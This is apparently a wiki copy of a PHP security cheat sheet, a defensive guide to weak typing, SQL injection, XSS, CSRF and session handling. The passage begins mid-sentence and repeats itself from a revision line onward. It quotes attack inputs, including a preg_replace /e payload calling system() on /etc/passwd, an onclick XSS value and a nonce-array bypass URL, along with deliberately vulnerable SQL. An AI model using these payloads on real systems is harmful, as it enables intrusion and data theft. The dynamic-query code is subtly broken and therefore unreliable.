write secure PHP applications. These are difficult to work around if you are
forced to use PHP, but you need to be aware of them.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an
incorrect type into the expected type. This feature very often masks errors by
the developer or injections of unexpected data, leading to vulnerabilities (see
below under "Input handling" for an example).

Try to use functions and operators that do not do implicit type conversions
(e.g. === and not ==). Not all operators have strict versions, and many built-in
functions (like 'in_array') use weakly typed comparison functions, making it
difficult to write correct code.

====Exceptions and error handling====

Almost all core PHP code, and many PHP libraries, do not use exceptions, but
instead report errors in other ways (such as via notices) that allow the faulty
code to carry on running. This has the effect of masking many bugs. In other
languages, error conditions that are caused by developer errors will cause the
program to stop running, which is the safest thing to do.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]
function, and never attempt to suppress error messages - always follow the
warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many
configuration settings, including fundamental changes to things like how errors
are handled. This can make it very difficult to write code that works correctly
in all circumstances. Different libaries can have different expectations or
requirements about these settings, making it difficult to correctly use 3rd
party code. Some are mentioned below under 'Configuration'.

===Framework issues===

====URL routing====

PHP's built-in URL routing mechanism is to use files ending in ".php" in the
directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.

* Source code, including config files, are stored in publically accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with $supplied_nonce being an array. strcmp() will then return
NULL (not 0), but due to weak typing and the '==' operator instead of '===', the
comparison succeeds (since "NULL == 0" is true according to PHP), and the
attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2013-12-23T11:42:31Z

Luke Plant: Added overview section to highlight general PHP issues and flaws which cannot be easily worked around

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language and 72% of web
servers deploy PHP. PHP is open source.

PHP is unusual in that it is both a language and a web framework, in that it
comes with the typical features of a web framework built-in. Like all web
languages, there is also a large community of libraries etc., which also
contribute to the security (or otherwise) of programming in PHP. All 3 aspects
need to be taken into consideration when trying to secure a PHP site.

There are, unfortunately, serious issues in all areas that make it difficult to
write secure PHP applications. These are difficult to work around if you are
forced to use PHP, but you need to be aware of them.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an
incorrect type into the expected type. This feature very often masks errors by
the developer or injections of unexpected data, leading to vulnerabilities (see
below under "Input handling" for an example).

Try to use functions and operators that do not do implicit type conversions
(e.g. === and not ==). Not all operators have strict versions, and many built-in
functions (like 'in_array') use weakly typed comparison functions, making it
difficult to write correct code.

====Exceptions and error handling====

Almost all core PHP code, and many PHP libraries, do not use exceptions, but
instead report errors in other ways (such as via notices) that allow the faulty
code to carry on running. This has the effect of masking many bugs. In other
languages, error conditions that are caused by developer errors will cause the
program to stop running, which is the safest thing to do.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]
function, and never attempt to suppress error messages - always follow the
warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many
configuration settings, including fundamental changes to things like how errors
are handled. This can make it very difficult to write code that works correctly
in all circumstances. Different libaries can have different expectations or
requirements about these settings, making it difficult to correctly use 3rd
party code. Some are mentioned below under 'Configuration'.

===Framework issues===

====URL routing====

PHP's built-in URL routing mechanism is to use files ending in ".php" in the
directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.

* Source code, including config files, are stored in publically accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with $supplied_nonce being an array. strcmp() will then return
NULL (not 0), but due to weak typing and the '==' operator instead of '===', the
comparison succeeds (since "NULL == 0" is true according to PHP), and the
attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

